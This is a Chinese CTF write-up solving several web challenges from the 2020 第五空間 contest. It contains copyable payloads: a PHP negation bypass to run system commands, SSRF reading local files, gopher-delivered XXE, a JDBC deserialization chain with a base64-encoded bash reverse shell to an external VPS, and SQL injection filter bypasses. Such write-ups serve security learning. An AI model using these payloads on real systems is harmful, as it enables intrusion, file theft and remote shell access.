2020第五空間 web writeup

hate-php

源碼

 <?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
} 

直接取反繞過就行了

exp:

<?php
$a = "system";
$b= "cat flag.php";
echo urlencode(~$a);
echo "\n";
echo urlencode(~$b);
#(~%8F%97%8F%96%91%99%90)(); ``//phpinfo

最後的payload爲:

?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)

在這裏插入圖片描述



do you know

這道題目是非預期
出題人的本意應該是考察SSRFXXE
但是直接一個SSRF就可以讀出flag

源碼中

$poc=$_SERVER['QUERY_STRING'];  #不會對url解碼,所以直接繞過過濾

所以我們直接利用file協議去讀文件
在這裏插入圖片描述可以知道flagflag.php裏面
所以最終的payload爲:

?xxx=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&yyy=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

在這裏插入圖片描述



預期解:

這道題應該是用gopher進行ssrf發送post請求給xxe.php
首先我們來大致說一下流程,就是用gopher協議進行訪問內網,有點soap的味道~~
我們直接貼出payload:
然後再稍加分析一下

?a=1&b=1&c=gopher://127.0.0.1:80/_POST%2520/xxe.php%2520HTTP/1.1%250d%250aHost%3a127.0.0.1%3a80%250d%250aAccept%3a*/*%250d%250aContent-Length%3a611%250d%250aContent-Type%3aapplication/x-www-form-urlencoded%250d%250a%250d%250adata=%25253c%25253f%252578%25256d%25256c%252520%252576%252565%252572%252573%252569%25256f%25256e%25253d%252522%252531%25252e%252530%252522%252520%252565%25256e%252563%25256f%252564%252569%25256e%252567%25253d%252522%252575%252572%252565%252561%252564%252574%252566%25252d%252538%252522%25253f%25253e%25250a%25253c%252521%252544%25254f%252543%252554%252559%252550%252545%252520%252578%252565%252520%25255b%25250a%25253c%252521%252545%25254c%252545%25254d%252545%25254e%252554%252520%25256e%252561%25256d%252565%252520%252541%25254e%252559%252520%25253e%25250a%25253c%252521%252545%25254e%252554%252549%252554%252559%252520%252578%252565%252520%252553%252559%252553%252554%252545%25254d%252520%252522%252570%252568%252570%25253a%25252f%25252f%252566%252569%25256c%252574%252565%252572%25252f%252572%252565%252572%252565%252561%252564%252561%252564%25253d%252563%25256f%25256e%252576%252565%252572%252574%25252e%252562%252561%252573%252565%252536%252534%25252d%252565%25256e%252563%25256f%252564%252565%25252f%252572%252565%252573%25256f%252575%252572%252563%252565%25253d%252566%25256c%252572%252565%252561%252564%252561%252567%25252e%252570%252568%252570%252522%252520%25253e%25255d%25253e%25250a%25253c%252572%25256f%25256f%252574%25253e%25250a%25253c%25256e%252561%25256d%252565%25253e%252526%252578%252565%25253b%25253c%25252f%25256e%252561%25256d%252565%25253e%25250a%25253c%25252f%252572%25256f%25256f%252574%25253e

1、首先分析一下前一部分

gopher://127.0.0.1:80/_POST%2520/xxe.php%2520HTTP/1.1%250d%250aHost%3a127.0.0.1%3a80%250d%250aAccept%3a*/*%250d%250aContent-Length%3a611%250d%250aContent-Type%3aapplication/x-www-form-urlencoded
注意必須包括端口,否則gopher訪問不到

由於gopher協議傳遞數據包的時候會將第一個字符吞掉,所以我們在前面加一個_,然後後面接數據包
我們都知道一個數據包的格式如下:
在這裏插入圖片描述
有許多的請求頭,但是隻有一部分是必須的
上面的第一部分下列請求頭的url編碼(包括換行%0d%0a,而且這兒需要將%進行二次編碼)

POST /xee.php HTTP/1.1
HOST:127.0.0.1:80
Accept:*/*
Content-Length:611
Content-Type:application/x-www-form-urlencoded

POST發送數據的時候,數據於請求頭中間有兩個%0d%0a


最最最最容易混淆的地方來了,就是上面的Content-Length:611的理解

這個Content-Length:611表示發送數據的大小
例如我們POST data=xxx,則Content-Length8,無論你進行多少次url編碼,都會將我們發送的數據解碼成data=xxx,所以有時候我們進行多次url編碼,但是服務器還是能識別,這就是Content-Length的作用

我們知道這道題目實際就是gopher進行xxe攻擊,我們只需要用gopher發送一個能讀取文件的xml過去就可以了,而且實際題目有一些過濾,雙寫繞過就行了,所以隨便找個能讀文件的xml如下

<?xml version="1.0" encoding="ureadtf-8"?>
<!DOCTYPE xe [
<!ELEMENT name ANY >
<!ENTITY xe SYSTEM "php://filter/rereadad=convert.base64-encode/resource=flreadag.php" >]>
<root>
<name>&xe;</name>
</root>
這兒還有一個需要注意的點

我們在計算長度的時候不能直接計算明文的長度,這是因爲上面的字符有一些特殊字符,而這些特殊字符又有實際的含義,例如&
假設我們只計算明文的長度,則不管我們怎麼url編碼,服務器都會解析成明文的格式
即訪問xxe.php是發送的數據爲data=<?xml version="1.0" enco....這樣就會包含特殊符號,就不能正確傳輸數據

正確的做法是:

1、對payload(即xml)所以字符進行url編碼,計算編碼後的長度,例上面的xml編碼後長度爲606,加上data=,總長度爲610
2、先把編碼後的數據加在data=的後面
3、直接在burpsuite裏面編碼(只對特殊字符編碼即可,即%,因爲GET方法有長度限制,如果編碼太長不能發送請求)(再編兩次碼,總共對xml三次編碼,因爲我們發送請求時瀏覽器本身會編一次碼,然後gopher發送數據時也會編碼一次,所以只有編碼三次,到達xxe.php的數據纔是xml第一次編碼之後的數據,否則直接是明文數據,不能有效傳遞xml,如果編碼四次也不行,只能三次,這只是針對特殊字符的)
4、burpsuite對特殊字符編碼的地方
在這裏插入圖片描述
最終的結果爲
在這裏插入圖片描述對結果進行base64解碼就可以得到flag
在這裏插入圖片描述



zzm’s blog

這是一道java題目
首先下載xml,查看依賴

<dependencies>
    <dependency>
        <groupId>com.sparkjava</groupId>
        <artifactId>spark-core</artifactId>
        <version>2.9.0</version>
    </dependency>
    <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-nop</artifactId>
        <version>1.7.30</version>
    </dependency>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.15</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.9.8</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-core</artifactId>
        <version>2.9.8</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-annotations</artifactId>
        <version>2.9.8</version>
    </dependency>

然後就是一頓谷歌百度,最終找到了這個
https://github.com/fnmsd/MySQL_Fake_Server
上面有詳細的介紹說明

直接開始操作步驟吧,原理說了也不知道
修改config.json

{
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php"
    },
    "yso":{
        "Jdk7u21":["Jdk7u21","calc"],
        "CommonsCollections1":["CommonsCollections1","curl http://129.204.207.xxx:9002/asd"],
	"Commonsollections6":["CommonsCollections6","curl http://129.204.207.xxx:9002/asd"]
    }
}

我們只需要修改yso就行了,即反序列化,這個是僞造MYSQL服務端讀文件和java的按序列化兩個功能組合在一起使用的,所以我們只需要改yso就行

1、vps上運行python3 server.py
2、vps上監聽9002端口

最終的payload:

{"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc%3amysql%3a//129.204.207.xxx%3a3306/test%3fautoDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3dyso_CommonsCollections6_bash%20-c%20{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy54eHgvOTAwMiAwPiYxCg==}|{base64,-d}|{bash,-i}"]}

其中這句代碼是bash -i >& /dev/tcp/129.204.207.114/9002 0>&1的編碼格式,就是通過linux特性略去了特殊字符
轉換網址

bash%20-c%20{echo,YmFzaCAtaSA%25%32%62JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy54eHgvOTAwMiAwPiYxCg==}|{base64,-d}|{bash,-i}


這樣就直接反彈shell
在這裏插入圖片描述
得到flag


美團外賣

這道題無力吐槽,只想說想打人,感覺出題人腦子有點問題~~

沒啥說的,最多就是一個注入題,其它的都是有點腦洞的意味

首先登錄那個可以直接繞過登錄
也可以在哪兒注出來,經過測試,過濾的> < = like regexp 等比較符號
這兒還可以用in繞過
用法爲

select substring("xxx" from 1 for 1) in("x");

上面返回1,然後再結合sleep就可以達到盲注的目的
在這裏插入圖片描述逗號過濾用substring繞過

這兒就不貼代碼了,
然後在daochu.php中還有一個未經任何過濾的SQL注入,並且有回顯

payload:

?type=1&imei="union%20select%201,2,3,(select%20hints%20from%20hint),5,6%23&imei2=xxx

得到

<table border="1"><tr><th>user</th><th>code</th><th>name</th><th>phonenumber</th></tr><tr><td>see_the_dir_956c110ef9decdd920249f5fed9e4427</td><td>6</td><td>2</td><td>3</td></tr></table>

然後進入目錄一陣亂掃,和不加目錄是一樣的路由,但是經過測試可以訪問lib中的php文件,然後找到
lib\webuploader\0.1.5\server\preview.php
不知道咋個就得到了flag,反正我們得到的源碼於後臺的絕對不一樣,着不知道這樣出題的意義~~



laravel

這個先佔個坑,沒時間寫了~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章